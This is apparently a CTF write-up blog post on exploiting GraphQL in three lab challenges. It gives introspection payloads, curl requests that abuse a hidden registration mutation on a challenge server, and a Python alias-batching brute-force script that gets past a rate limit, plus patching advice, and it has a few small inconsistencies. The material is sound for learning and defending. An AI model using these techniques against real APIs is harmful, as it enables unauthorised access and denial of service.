# Hackwekend - Session 3 Attack and Exploit GraphQL ? :mag_right: ###### tags `ctf` `redteam` `vulnerable` `payload` `hacking` `hackwekend` *Hi, Welcome back with my **Hackwekend** series, I am so glad and graceful if you have reach here. Go luck and hope you finding the things you want* The information of defination and exploit things is base on [PortSwigger GraphQL](https://portswigger.net/web-security/graphql), if you want to explore GraphQL, GraphQL API Security, Go and check that. In my blog, i just do brief with combine some information you need to understand for helping you work with GraphQL and exploit it. ## GraphQL - Find the way to rapidly go to the goal ### 1. Defination about GraphQL and why is this technologies released ? *GraphQL is an **API query language** that is designed to **facilitate efficient** **communication between clients and servers**. It enables the user to **specify exactly what data** they **want in the response**, helping to **avoid the large response objects** and **multiple calls** that can sometimes be seen with REST APIs.* ![image](https://hackmd.io/_uploads/Hye7fzMNT.png) @XeusNguyen :thinking_face: *"With GraphQL, it is releasing like alternative technology for RESTAPI, but it can't change the REST. GraphQL will help you optimize the query, get specify data base on your mind but i think it just like that, with some specify case you will need REST instead of Graph and reverse. The balancing of between of them is help you have multiple choice for optional when choose the right technologies"* ![image](https://hackmd.io/_uploads/rkYD4zMNp.png) ### 2. So how it working, GraphQL or grasp something :smile:? *(The defination come from PortSwigger)* **GraphQL schemas** **define the structure of the service's data**, listing the available objects (known as types), fields, and relationships. The data described by a GraphQL schema can be manipulated using **three types of operation**: * Queries fetch data. * Mutations add, change, or remove data. * Subscriptions are similar to queries, but set up a permanent connection by which a server can proactively push data to a client in the specified format. **All GraphQL operations use the same endpoint**, and are **generally sent as a POST request** ![image](https://hackmd.io/_uploads/HykKBzfNT.png) ![image](https://hackmd.io/_uploads/HJ0J8ffEp.png) ### 3. Some definition GraphQL, Do you grasp it bruh ? :smiling_face_with_smiling_eyes_and_hand_covering_mouth: Go check it on [PortSwigger GraphQL](https://portswigger.net/web-security/graphql), All about this question have answer with example :airplane_arriving: * What is a GraphQL schema ? * What are GraphQL queries? * What are GraphQL mutations? * Components of queries and mutations * Fields * Arguments * Variables * Aliases * Fragments * Subscriptions * Introspection ![image](https://hackmd.io/_uploads/ry0EFEmVp.png) ### 4. GraphQL Attacking >I have make some conclusion about GraphQL, What is target, easy or hard ? Do >we have any tools for automation, blah blah, ... So i have to get something about brief of `GraphQL` type vulnerables. Take a look the image downbelow or you can find it on [DVGA](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application). Diggest inside that one if you can :sweat_smile: ![image](https://hackmd.io/_uploads/rkb6947Va.png) **Conclusion about GraphQL** * **Potential objects** to exploit something * Errors have **different levels** of complexity from **easy to hard** * Have some **common things** basic you can **check** * Introspection * Hidden endpoints and mutations * Alias and batch query attack * **Many tools** can **support** for helping you **detect the vulnerable** ![image](https://hackmd.io/_uploads/r1wBj4QE6.png) ## Some of couple challenge about GraphQL ### First challenge: Orient Treasure Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic1 Description: *Orient Software has the treasure is the flag. Do you find the map and grab it for yourself ?* ![image](https://hackmd.io/_uploads/Sk9SDLXEp.png) #### Analysis and take some trick First of all, with route `/`, it just a simple plaintext and have `Play now !!! <a> tag` with route `/graphql`. So click on that and yup, you have playgroud of `GraphQL` ![image](https://hackmd.io/_uploads/rytnuUmN6.png) When you go there the first thing you can check is wappalyzer for technologies exposing ![image](https://hackmd.io/_uploads/BkLgtLQEa.png) So we know about, this website use `python`, `Flask`, `React`. But if you know you know, My FE experience is too bad, So it just my copied from the another example from GraphQL --> Go [this link](https://blog.logrocket.com/build-graphql-api-python-flask-ariadne/) for checking what if bruh bruh !!. So it take a look some similar. ![image](https://hackmd.io/_uploads/ry6W5LQEp.png) So the first of all, in this challenge, I don't ever retrict or hidden the schema or docs, you can see that in the right edge of website, it stays here. So if you know you know, go on check a schema and docs for what it tells us something. ![image](https://hackmd.io/_uploads/B1jL9UQNT.png)![image](https://hackmd.io/_uploads/B14wq8XET.png) Yup, anything what is it is exposing with that one. So you do not need to answer how can find the way to exploit themselves, the truth is on your monitor :smile:. So take a look at `Treasure` type we got flag signal - :sun_with_face: it is good for exploit that. So before reach it is will show a schema when it draw in diagram, It will easily to look. First of all, find that way to detecting `instrospection` is the importance job when exploit GraphQL, which is soul of GraphQL, schema will expose to public :sweat_smile: - [How To Exploit GraphQL Endpoint: Introspection, Query, Mutations & Tools ](https://www.yeswehack.com/learn-bug-bounty/how-exploit-graphql-endpoint-bug-bounty) - [GraphQL - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql) So after reach that you will get some payload to exploit them, very clearly ``` 1. Basic: {__schema{types{name,fields{name}}}} 2. Full topping: {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} ``` So you can choose the `full topping query`, it will do some helpful job for coverting schema into diagram with [GraphQL Voyager](https://graphql-kit.com/graphql-voyager/). So go and you will have some kind like this ![image](https://hackmd.io/_uploads/rJMpE8NVT.png) Too long bro, so i will skip this and just copy and paste that into that tools about, easy for taking :sweat_smile: anything ![image](https://hackmd.io/_uploads/BkRErL4Vp.png) Easy to looking for hidden, Analysis with me, Schema will include some information - It will have 4 type (4 tables - sorry if i talk wrong), `query` `treasure` `place` `coordinates` and it has connection with others - 4 Query will with `Get` and `GetAll` --> It just query conclude inside the GraphQL schema and when you find `mutation` it does't here. So easy take remember pass some thing require and will you will reach the hidden treasure - `getPlace` query will require `id - ID!` the string so you need to pass id to get the result base on id - `getTreasure` query like `getPlace`, so you must provide some varibles are `id - ID!` `coordinates - Coordinates!` #### Find the truth So we will play with GraphQL and find the hidden way, so we see the Place is just for decoy but it include something is special `coordinates` which require for `getTreasure`. So you must understand to trying with that one for finding the truth or not :sailboat: (Base on you) ``` GraphQL query { getAllPlaces { id country description coordinates { latitude longitude } } } ``` ![image](https://hackmd.io/_uploads/HkO05L446.png) But how can i say you need to remember the coordinates of anything else to get the truth, so reach to treasure and it is continious decoy of mine but it spoil you some thing. Grab the Graph ``` GraphQL: query { getAllTreasures { id flag description location { coordinates { longitude latitude } } name } } ``` Response is ``` { "data": { "getAllTreasures": [ { "description": "Home to Europe's largest science museum, this area rewards daytime and nighttime explorations; there are three concert spaces, plus cinemas and bars, and even open-air cinema in the summer. The surrounding homes are a sharp contrast to the futuristic space", "flag": "", "id": 1, "location": { "coordinates": { "latitude": 48.86, "longitude": 2.35 } }, "name": "Péniche L'Eau Et Les Rêves" }, { "description": "A large amphitheater that hosted events like gladiatorial games. Design Pics Inc. The Colosseum, also named the Flavian Amphitheater, is a large amphitheater in Rome. It was built during the reign of the Flavian emperors as a gift to the Roman people", "flag": "", "id": 2, "location": { "coordinates": { "latitude": 41.91, "longitude": 12.54 } }, "name": "The Colosseum" }, { "description": "A tower clock known for its accuracy and for its massive hour bell. Strictly speaking, the name refers only to the bell, which weighs 15.1 tons (13.7 metric tons), but it is commonly associated with the whole clock tower at the northern end of the Houses of Parliament, in the London borough of Westminster", "flag": "", "id": 3, "location": { "coordinates": { "latitude": 48.86, "longitude": 2.35 } }, "name": "Big Ben Tower" }, { "description": "Keep going the treasure is need one more step to exposing", "flag": "Opps, Orient treasure is hidden", "id": 4, "location": { "coordinates": { "latitude": 16.04, "longitude": 108.22 } }, "name": "Orient Treasure" } ] } } ``` That is fake but it has some hint you must to diggest inside treasure to find the truth, it requires some `field` need to pass and yup, reup and put that cake the truth will expose. *If you know you know, the treasure is in Orient so ID will = 4 and coordinates is base on you finding :smile:* ``` GraphQL: query { getTreasure (id: 4, coordinates: {longitude: 108.22, latitude: 16.04}) { flag } } ``` And :bomb:, the treasure is exposing for us ![image](https://hackmd.io/_uploads/SyOn28NVa.png) Flag: **flag{D3ar_a11_y0ur_tr3a5ur3_i5_Exp0se}** #### Patching: - Try to disable instrospection and don't spoil that for people in the public case - Set some retrict conditions for disable easily reach to private ### Second challenge: Gatcha show Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic2 Description: *The hidden Gatcha show is hosting. Do you find the way to joining with us ? Please line up neatly !!!* #### Analysis ![image](https://hackmd.io/_uploads/rkeRYYN4T.png) So first of sight, we have login form with huge plain text **"Gatcha behind the scene"**, supicious right. More over so we take a look with the login form, Try some username and password is `admin` and `admin`. ![image](https://hackmd.io/_uploads/Hkfh6jE4T.png) and response we take is ![image](https://hackmd.io/_uploads/BJHaasNEp.png) So it not right but :walking: go and check what API, you will supprise a something or it prints in your URL ``` Original encode URL: http://20.212.250.71:8888/graphql?query=%7B%22query%22:%20%22mutation%20%7B%5Cn%20%20%20%20login(username:%20%5C%22admin%5C%22,%20password:%20%5C%22adminS%5C%22)%5Cn%7D%22%7D ``` So for easily taking and understand what the heck `query`, we need try to decodeing the URL by [URL-Decode](https://www.urldecoder.org/). And result is what is it you want ``` http://20.212.250.71:8888/graphql?query={"query": "mutation {\n login(username: \"admin\", password: \"adminS\")\n}"} ``` Yup the truth is login is executing a graphql for login and you must try to find the graphql endpoint which graphql. Does it have another query or mutations ? Answer is yup :hand::hand: Try to find `instrospection` to expose schema by some query in `First challenge`. You can query dirrectly into `/graphql` or `/graphql?query=<encode_url>`. But for easily you can try with `curl` to changing the `method` of request to GraphQL. **Remember the most GraphQL API is throught POST methods, so try with it :smiley:**. ``` curl -X POST 'http://20.212.250.71:8888/graphql\?query\=\{"query": "mutation {\n login(username: \"admin\", password: \"adminS\")\n}"}' ``` So with this stuff command like will response error, first time you messy when you bracket of `CURL` so try again with ``` curl -X POST "http://20.212.250.71:8888/graphql\?query\=\{"query": "mutation {\n login(username: \"admin\", password: \"adminS\")\n}"}" zsh: no matches found: login(username: "admin", password: "adminS")n}} ``` LOL harder more :), try with header and encode query i thinks it will help you. And you it can perform like this ``` curl -X POST "http://20.212.250.71:8888/graphql?query=%7B%22query%22:%20%22mutation%20%7B%5Cn%20%20%20%20login(username:%20%5C%22admin%5C%22,%20password:%20%5C%22admin%5C%22)%5Cn%7D%22%7D" ``` Response is exactly what you want to find LOL ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Form</title> <link rel="stylesheet" href="../static/css/style.css"> </head> <body> <div class="hero"> <div class="form-box"> <div class="social-icons"> <img src="../static/images/fb.png" alt="fb"> <img src="../static/images/tw.png" alt="tw"> <img src="../static/images/gp.png"" alt="gp"> </div> <h2>GET THE GATCHA BEHIND THE SCENE</h2> <form id="login" class="input-group" action=/handle_login method="POST"> <input name="username" type="text" class="input-field" placeholder="Enter Name" required> <input name="password" type="password" class="input-field" placeholder="Enter Password" required> <strong style="text-align: center; color: #ff105f; font-family: 'Raleway',sans-serif; font-size: 15px;">Your username or password is wrong</strong> <button type="submit" class="submit-btn">Log In</button> </form> </div> </div> <script src="../static/js/main.js"></script> </body> </html> ``` Graph query and pass this via curl to get `instrospect`. The truth will waiting you ``` Non-encoding {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} encoding %7B__schema%7BqueryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D ``` But when i send this it always return 500 error. It makes sure query is just help you play with login or intentionally from the author :smiley:, so it can not help you play with this query like this one. **(LOL that is my trick, so remember what you copy on the basic login)** ![image](https://hackmd.io/_uploads/BJRU4qN46.png) So i will additional some thing for you focus `"query"` is including in the encoding so try capture that and you will get the result. Like like :bomb:, explosion time ``` curl -X POST 'http://20.212.250.71:8888?graphql?query=%7B%22query%22%3A%20%22%7B__schema%7BqueryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D%22%7D' | jq ``` ![image](https://hackmd.io/_uploads/SyCjf1iNT.png) If the previous plan is not working, So we need to have another plan. Back to `/graphql` it has existed and it could accept you that passing variables to this. So try with `POST` method by payload like this. It just accept the `POST` and `Content-type: application/json`. Go check this for understand pass this for `curl` command [Setting Content-Type for Curl Request ](https://reqbin.com/req/c-woh4qwov/curl-content-type) ``` curl -i -s -k -X $'POST' \ -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 13' \ --data-binary $'{\"query\": \"\"}' \ $'http://20.212.250.71:8888/graphql' ``` 500 again but it goods you can try get `instrospection` via this and `Burp Suite` is easily will help you that. GraphQL pass via `curl` is had some complicated. So try this, and yup the schema here we go ``` curl -i -s -k -X $'POST' \ -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 214' \ --data-binary $'{\"query\": \"{\\n __schema {\\n types {\\n name\\n fields {\\n name\\n args {\\n name\\n }\\n }\\n }\\n }\\n}\"}' \ $'http://20.212.250.71:8888/graphql' ``` Response is :bomb: ``` HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.10.13 Date: Fri, 17 Nov 2023 07:56:48 GMT Content-Type: application/json Content-Length: 1917 Connection: close {"data":{"__schema":{"types":[{"fields":[{"args":[],"name":"isAuthentication"}],"name":"Query"},{"fields":null,"name":"Boolean"},{"fields":[{"args":[{"name":"username"},{"name":"password"}],"name":"login"},{"args":[{"name":"username"},{"name":"password"}],"name":"register_beta_user"}],"name":"Mutation"},{"fields":null,"name":"String"},{"fields":[{"args":[],"name":"description"},{"args":[],"name":"types"},{"args":[],"name":"queryType"},{"args":[],"name":"mutationType"},{"args":[],"name":"subscriptionType"},{"args":[],"name":"directives"}],"name":"__Schema"},{"fields":[{"args":[],"name":"kind"},{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"specifiedByURL"},{"args":[{"name":"includeDeprecated"}],"name":"fields"},{"args":[],"name":"interfaces"},{"args":[],"name":"possibleTypes"},{"args":[{"name":"includeDeprecated"}],"name":"enumValues"},{"args":[{"name":"includeDeprecated"}],"name":"inputFields"},{"args":[],"name":"ofType"}],"name":"__Type"},{"fields":null,"name":"__TypeKind"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[{"name":"includeDeprecated"}],"name":"args"},{"args":[],"name":"type"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__Field"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"type"},{"args":[],"name":"defaultValue"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__InputValue"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__EnumValue"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"isRepeatable"},{"args":[],"name":"locations"},{"args":[{"name":"includeDeprecated"}],"name":"args"}],"name":"__Directive"},{"fields":null,"name":"__DirectiveLocation"}]}}} ``` This graphql is existed a hidden mutation is `register_beta_user` and it require 2 argument `username` and `password`. And so it is good signal, try this you will go to the truth :rocket: #### The truth of gatcha show If you reach that step, probally you have good skills. The truth is waiting for you, just need to register `user` and login that one to go Gatcha show. That easy :rocket: So it just create a `curl` like this one and login with that one and you will finding the truth. Here is the curl ``` curl -i -s -k -X $'POST' \ -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 98' \ --data-binary $'{\"query\": \"mutation {\\n register_beta_user(username: \\\"beta1000\\\", password: \\\"beta1000\\\")\\n}\"}' \ $'http://20.212.250.71:8888/graphql' ``` Response is ``` HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.10.13 Date: Fri, 17 Nov 2023 09:01:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1345 Connection: close <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Form</title> <link rel="stylesheet" href="../static/css/style.css"> </head> <body> <div class="hero"> <div class="form-box"> <div class="social-icons"> <img src="../static/images/fb.png" alt="fb"> <img src="../static/images/tw.png" alt="tw"> <img src="../static/images/gp.png"" alt="gp"> </div> <h2>GET THE GATCHA BEHIND THE SCENE</h2> <form id="login" class="input-group" action=/handle_login method="POST"> <input name="username" type="text" class="input-field" placeholder="Enter Name" required> <input name="password" type="password" class="input-field" placeholder="Enter Password" required> <strong style="text-align: center; color: #ff105f; font-family: 'Raleway',sans-serif; font-size: 15px;">Successfully registered your account</strong> <button type="submit" class="submit-btn">Log In</button> </form> </div> </div> <script src="../static/js/main.js"></script> </body> </html> ``` And success, you are have ticket to join `gatcha`, so typing username and password you register into login page. And the flag will expose in there. ![image](https://hackmd.io/_uploads/r1Ks3j4Va.png) Flag: **flag{r3gist3r_butt0n_i5_1n_y0r_p0cket}** #### Patching - Like the first challenge, secure and enable `instrospection` is the first kind of things which need to consider when applied `GraphQL` for Production - Secure mutation if you not want the anonymous user can use at via the API LOL ### Third challenge: Fast and Furious > *I have said about this challenge was come from [corCTF2023](https://ctftime.org/event/1928/) and happily their team shared the code and challenge. So i have taken a look and this `forced` challenge was too crazy and interesting. So i hope i can get your accepted from your team to using this challenge for sharing to my team.* > > *Dear Crusaders of Rust CTF Team* Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic3 Description: *You are lucky one today or not ? Let race with us !!!* Attact file: Web.js ``` import fastify from 'fastify' import mercurius from 'mercurius' import { randomInt } from 'crypto' import { readFile } from 'fs/promises' const app = fastify({ logger: true }); const index = await readFile('./index.html', 'utf-8'); const secret = randomInt(0, 10 ** 5); let requests = 10; setInterval(() => requests = 10, 60000); await app.register(mercurius, { schema: `type Query { flag(pin: Int): String }`, resolvers: { Query: { flag: (_, { pin }) => { if (pin != secret) { return 'Wrong!'; } return process.env.FLAG || 'flag{test}'; } } }, routes: false }); app.get('/', (req, res) => { return res.header('Content-Type', 'text/html', 'utf-8').send(index); }); app.post('/', async (req, res) => { if (requests <= 0) { return res.send('no u') } requests --; return res.graphql(req.body); }); app.listen({ host: '0.0.0.0', port: 80 }); ``` #### Analyis Go and check with me, the UI of this challenge it have text box with `default` GrapgQL query with mutation `flag` and `query!` button for submit that. That all :smiling_face_with_smiling_eyes_and_hand_covering_mouth: ![image](https://hackmd.io/_uploads/BJGQZZvNa.png) So first of all, let try with UI and the result is return wrong ![image](https://hackmd.io/_uploads/S1hKb-PEa.png) But **this not a trick challenge**, you have source code and let's analysis itself for finding the way to reach the truth. I will find out the something in source code of challenge with - Way to solve this challenge is find `secret` number, but it not easily . Secret number is from 0 to 1000000 (impossible if you guess, but i ain't gonna know if you have lucky, miracle will coming :smile:) - You just have 10 times per minutes if you continiously play with the website. So try to the best to reach the truth - Condition of comparation is puting on the `GraphQL` and you need to understand how bypass that. It just has only query and that all, you need to find the behind the scene. #### GG time and finding the truth If you have take a `booktrick` `dvga` or `Yeswehack`, you have a type of attack to graphql is `batch attack - DoS attack style` ![image](https://hackmd.io/_uploads/BJO-dBvET.png) ![image](https://hackmd.io/_uploads/SJ9zOSvV6.png) that was sick, GraphQL if not right configuration, Your server will put on alert situation. With technic like `Batch attack styles`, using the aliases like the target for bypass the graphql and return multiple result with just only response, Too sick :cold_sweat: So how it work on with this challenge, i gracefully understand it via write-up of [Fireshell Security Team](https://fireshellsecurity.team/corctf2023-web/), new knowledge when using the GraphQL pentest with it. So i have them solution and yup it will execute a huge request into server to guessing the secret numbers. And here is it ``` import requests headers = { 'Content-Type': 'text/plain;charset=UTF-8', } for i in range(10): MAX_NUM = 10000 # Max Request Size INI = (i*MAX_NUM)+MAX_NUM print(f'=========> Brute Range: {INI} - {INI+MAX_NUM-1}') QUERIES = '\n'.join([f'f{x}: flag(pin: {x})' for x in range(INI,INI+MAX_NUM)]) OPERATION = 'query Getflag { ' + QUERIES +' }' response = requests.post('http://127.0.0.1:7777/', headers=headers, data=OPERATION) result = response.text.replace(',', ',\n') print(f'Status: {response.status_code}') FLAG_PREFIX = 'flag{' index = result.find(FLAG_PREFIX) if index > 0: flag_ini = index flag_end = result.index('}', index+len(FLAG_PREFIX)) + 1 flag = result[index:flag_end] print(f'Flag is {flag}') break else: print('Not yet!') print() ``` The script is easily understand and written by Python3. It just Generate a `query` graphql with combine more than 100000 request by one, it has the style like this ``` query Getflag{ ... f800: flag(pin : 800) f801: flag(pin : 801) ... } ``` and send each query with `10000` query in one times and get the response if the flag inside it will capture that and filter it into Flag : `<result>`. And yup that all. So let replace the url in `POST` request and send it server to finding the truth ![image](https://hackmd.io/_uploads/S1fM2rwEp.png) So we got the Flag: **flag{g0_f4st_&&_g0_f4r_t0g3th3r???}** and shout out my teamates [markpage2k1](https://github.com/MarkPage2k1) to finding the hidden number challenge (Good bruteforce :smiley: LOL) ![image](https://hackmd.io/_uploads/H1XTnHvN6.png) #### How to patching this huge effect of vulnerables: If you are not, Hacker can DoS to when your server goes down. So take care of what you setup with `GraphQL`, it not easily to making with tutorial is good enough. :sweat_smile: I have some article or blog to said wat thing you need to do for avoiding the issue occur [Preventing GraphQL batching attacks - Dev.io](https://dev.to/ivandotv/preventing-graphql-batching-attacks-56o3) [Avoid GraphQL Denial of Service attacks through batching and aliasing - escape.tech](https://escape.tech/blog/graphql-batch-attacks-cause-dos/) This is new update with publish on 2022 so it will help you secure your Graph with avoid `Batch attack` and how to use suitable and carefully when use `alias`, reffering that on that blog, so take a look and learn a new thing. ![image](https://hackmd.io/_uploads/ByO2yIDNp.png) ## Conclustion So i hope you read to the last and maybe finding the hidden and new knowledge which you want. So i happily to learning the GraphQL and making this challenge for you, I move on `DevOps` and now Develop is not part of my lifeday but it was new experience to coming back LOL. So happily hacking, safety and secure your GraphQL. See ya on next session of Hackwekend - Cloud Security (I think so :smile:) ![image](https://hackmd.io/_uploads/rkCBJIv46.png) ## Refference 1. [Cyber Security Roadmap](https://roadmap.sh/cyber-security) 2. [DevSecOps Roadmap](https://reconshell.com/devsecops-roadmap/) 3. [Application Security Market to Set Stunning Growth From 2023 to 2030](https://medium.com/@surajpalange01/application-security-market-to-set-stunning-growth-from-2023-to-2030-123dcdc81b5f) 4. [Why Is Capture the Flag (CTF) Important in Cyber Security?](https://www.eccouncil.org/cybersecurity-exchange/cybersecurity-technician/capture-flag-ctf-cybersecurity/) 5. [CYBERSECURITY MADE IN EUROPE – MAPPING THE EUROPEAN CYBERSECURITY SCALE-UP ECOSYSTEM V 1.0](https://european-champions.org/blog/cybersecurity-made-in-europe-mapping-the-european-cybersecurity-scale-up-ecosystem/) 6. [Jeopardy styles CTF - Whitehat - Vietnamese](https://whitehat.vn/threads/hinh-thuc-choi-jeopardy-trong-ctf-la-gi.6734/) 7. [UK-founded Hack The Box raises $1.3M to build the world’s largest hacker community](https://tech.eu/2019/04/01/uk-founded-hack-the-box-raises-1-3m-to-build-the-worlds-largest-hacker-community/) 8. [corCTF 2023 - WU 3 Web Challenges - Fishshell Security Team](https://fireshellsecurity.team/corctf2023-web/) 9. [Avoid GraphQL Denial of Service attacks through batching and aliasing](https://escape.tech/blog/graphql-batch-attacks-cause-dos/) 10. [GraphQL - Hack Tricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql) 11. [DVGA](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application) 12. [PortSwigger - GraphQL API vulnerabilities](https://portswigger.net/web-security/graphql) 13. [POC GraphQL](https://github.com/righettod/poc-graphql)